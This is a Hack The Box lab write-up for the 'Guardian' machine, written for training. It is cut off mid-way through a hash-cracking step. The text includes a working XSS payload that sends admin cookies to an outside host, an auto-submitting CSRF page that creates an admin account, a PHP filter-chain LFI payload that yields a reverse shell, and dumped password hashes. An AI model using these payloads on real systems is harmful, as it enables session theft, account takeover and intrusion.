Hackthebox: Guardian

Foued SAIDI Lv5

Overview

Guardian is a hard-difficulty machine from Hack The Box that starts with discovering a student portal where default credentials and an IDOR vulnerability in the chat feature leak a Gitea password. From Gitea, we recover application source code revealing a vulnerable PhpSpreadsheet dependency (XSS via sheet names) and a flawed CSRF token implementation. Chaining the XSS to steal an admin session cookie, we exploit the CSRF flaw to create an admin account, then abuse an LFI in the admin reports panel using PHP filter chains to obtain a reverse shell. After cracking database password hashes with a known salt, we pivot to a user account, escalate to another user via a writable Python module, and finally load a malicious Apache module through a restricted binary to get root.

Guardian
Guardian

Reconnaissance

We start with an Nmap scan against the target.

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP service redirects to guardian.htb, so we add it to /etc/hosts. Visiting the main page reveals Guardian University - Empowering Future Leaders .

Web Enumeration

Fuzzing for subdomains reveals portal.guardian.htb, which hosts a Login - Guardian University page.

Clicking the Help button on the login page downloads a PDF guide:

Guardian_University_Student_Portal_Guide.pdf

Your default password is: GU1234

Scrolling down on Guardian University - Empowering Future Leaders we can see three email addresses:

GU0142023@guardian.htb
GU6262023@guardian.htb
GU0702025@guardian.htb

Using the student ID format from the emails, we successfully log in with GU0142023:GU1234.

IDOR - Chat Feature

Once logged in, we notice the IDs in the URL for the chat feature:

Chat - Admin Dashboard

The chat_users parameter is vulnerable to IDOR. We use ffuf to fuzz the user IDs and enumerate all available chats. In one of the conversations, we find Gitea credentials:

Here is your password for gitea: DHsNnk3V503

jamil.enockson:DHsNnk3V503

We add gitea.guardian.htb to our hosts file (guess or fuzz) and log in.

Gitea - Source Code Review

Inside Gitea, the Guardian/portal.guardian.htb repository contains the full application source code.

DB config under portal.guardian.htb/config.php at main - portal.guardian.htb - Gitea: Git with a cup of tea :

1
'salt' => '8Sb)tM1vs1SS'

root:Gu4rd14n_un1_1s_th3_b3st

We check portal.guardian.htb/composer.json at main - portal.guardian.htb - Gitea: Git with a cup of tea for versions and dependencies:

"phpoffice/phpspreadsheet": "3.7.0"

XSS via PhpSpreadsheet (GHSA-79xx-vf93-p7cx)

PhpSpreadsheet 3.7.0 is vulnerable to a Cross-Site Scripting (XSS) vulnerability in generateNavigation() function .

A simple analysis below:

  • Affected functions: generateNavigation()
  • Problem: $sheet->getTitle() is stitched directly into <a> HTML tags, no htmlspecialchars()
  • Scenario: When XLSX has multiple sheets, a navigation menu is generated.
  • An attacker can trigger as long as they can control the sheet name of an Excel table.

Terms of use:

  • The attacker would need to upload or have the victim open a maliciously constructed XLSX file.
  • Server-side converts to HTML and outputs via PhpSpreadsheet\Writer\Html.
  • XSS is triggered when the user visits this converted page.

The problem here is that WPS, some python libraries, and some online editing sites limit the name length or special characters of the sheet. We use FastGrid SpreadSheet like online MS Excel sheet | FastGrid to craft the malicious XLSX.

We set the sheet name to:

1
<img src=x onerror=fetch("http://10.10.16.16/?c="+btoa(document.cookie))>

We submit the file in Assignment Details .

Shortly after, we receive a callback on our HTTP server with the admin’s base64-encoded session cookie:

1
2
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.84 - - [03/Sep/2025 09:01:05] "GET /?c=UEhQU0VTU0lEPTZiaWhycWF1anBmY2VzN2VhczhyZXF0dXJy HTTP/1.1" 200 -

We decode the cookie and hijack the lecturer session.

CSRF - Creating an Admin Account

On Create Notice - lecturer Dashboard , we can post notices with referral links.

Reviewing the admin user creation endpoint at /admin/createuser.php, we see the full source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/User.php';
require '../config/csrf-tokens.php';

$token = bin2hex(random_bytes(16));
add_token_to_pool($token);

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}

$config = require '../config/config.php';
$salt = $config['salt'];

$userModel = new User($pdo);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

$csrf_token = $_POST['csrf_token'] ?? '';

if (!is_valid_token($csrf_token)) {
die("Invalid CSRF token!");
}

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$full_name = $_POST['full_name'] ?? '';
$email = $_POST['email'] ?? '';
$dob = $_POST['dob'] ?? '';
$address = $_POST['address'] ?? '';
$user_role = $_POST['user_role'] ?? '';

// Check for empty fields
if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role)) {
$error = "All fields are required. Please fill in all fields.";
} else {
$password = hash('sha256', $password . $salt);

$data = [
'username' => $username,
'password_hash' => $password,
'full_name' => $full_name,
'email' => $email,
'dob' => $dob,
'address' => $address,
'user_role' => $user_role
];

if ($userModel->create($data)) {
header('Location: /admin/users.php?created=true');
exit();
} else {
$error = "Failed to create user. Please try again.";
}
}
}
?>

The logical part of the csrf_token can be seen in csrf-tokens.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$global_tokens_file = __DIR__ . '/tokens.json';

function get_token_pool()
{
global $global_tokens_file;
return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}

function add_token_to_pool($token)
{
global $global_tokens_file;
$tokens = get_token_pool();
$tokens[] = $token;
file_put_contents($global_tokens_file, json_encode($tokens));
}

function is_valid_token($token)
{
$tokens = get_token_pool();
return in_array($token, $tokens);
}

There is no deletion logic here β€” CSRF tokens are never invalidated after use, so any previously generated token remains valid forever. We grab a valid CSRF token from the page source and craft exploit.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit</title>
</head>
<body>
<h1>CSRF Exploit Test</h1>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="kujen">
<input type="hidden" name="password" value="kUjen123">
<input type="hidden" name="full_name" value="Kujen Attack">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="dob" value="1999-01-01">
<input type="hidden" name="address" value="wiw">
<input type="hidden" name="user_role" value="admin">
<input type="hidden" name="csrf_token" value="3af90c590e90f9de8dd9bfd612d7e794">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>

We create a notice and put the link to our server on the referral link. The admin bot visits it:

1
2
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.84 - - [03/Sep/2025 09:20:39] "GET /poc.html HTTP/1.1" 200 -

Now we have a fully privileged admin account kujen:kUjen123.

LFI via PHP Filter Chains

As admin, we discover the LFI in Reports Menu .

Source code of reports.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require '../includes/auth.php';
require '../config/db.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}

?>

If the path contains .. (directory traversal attempts), it is rejected outright. Only four types of files are allowed: enrollment.php, academic.php, financial.php, system.php (and they may have path prefixes). If it doesn’t match, it gets rejected.

PHP filter chains can be used here to attack β€” the last spliced system.php will not affect the execution result. We generate the full filter chain payload:

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

We add ,system.php at the end to bypass the regex detection.

We catch the shell:

1
2
3
4
5
6
7
PS C:\Users\0xkujen\Downloads> .\nc.exe -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.84] 49742
id
sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Lateral Movement - Hash Cracking

From the shell, we enumerate internal services:

1
2
3
4
5
6
7
8
9
10
11
$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
$

Port 3306 is MySQL and port 3000 is Gitea. We connect to MySQL using the root credentials found earlier and dump the user hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
mysql> select username,password_hash from users;
select username,password_hash from users;
+--------------------+------------------------------------------------------------------+
| username | password_hash |
+--------------------+------------------------------------------------------------------+
| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
| GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 |
| GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f |
| GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 |
| GU0762023 | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 |
| GU9492024 | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 |
| GU9612024 | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 |
| GU7382024 | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a |
| GU6632023 | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 |
| GU1922024 | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd |
| GU8032023 | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada |
| GU5852023 | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a |
| GU0712023 | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a |
| GU1592025 | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 |
| GU1112023 | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d |
| GU6432025 | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 |
| GU3042024 | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab |
| GU1482025 | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f |
| GU3102024 | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 |
| GU7232023 | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 |
| GU8912024 | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 |
| GU4752025 | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a |
| GU9602024 | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 |
| GU4382025 | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 |
| GU7352023 | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 |
| GU3042025 | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f |
| GU3872024 | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a |
| GU7462025 | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa |
| GU3902023 | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b |
| GU1832025 | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f |
| GU3052024 | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f |
| GU3612023 | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a |
| GU7022023 | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 |
| GU1712025 | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 |
| GU9362023 | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 |
| GU5092024 | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 |
| GU5252023 | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa |
| GU8802025 | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 |
| GU2222023 | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd |
| GU9802023 | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c |
| GU3122025 | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a |
| GU2062025 | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 |
| GU3992025 | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 |
| GU1662024 | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 |
| GU9972025 | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 |
| GU6822025 | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 |
| GU7912023 | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 |
| GU3622024 | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf |
| GU2002023 | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 |
| GU3052023 | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 |
| GU1462023 | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 |
| chemas | 6f4bc3c67e7920950dfe1d9bd6958f6e48c79fadb92e173c4c8e257f553987e1 |
+--------------------+------------------------------------------------------------------+
63 rows in set (0.00 sec)

mysql>

The password scheme is sha256(plaintext_password + salt). We write a Python script to crack them (john/hashcat would also work):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[root@Hacking] /home/kali/Guardian
❯ cat hashes.txt
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
mark.pargetter:8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e
valentijn.temby:1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6
leyla.rippin:7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61
perkin.fillon:4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471
cyrus.booth:23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6
sammy.treat:c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2
crin.hambidge:9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75
myra.galsworthy:ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4
mireielle.feek:18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3
vivie.smallthwaite:b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a
GU0142023:5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829
GU6262023:87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f
GU0702025:48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1
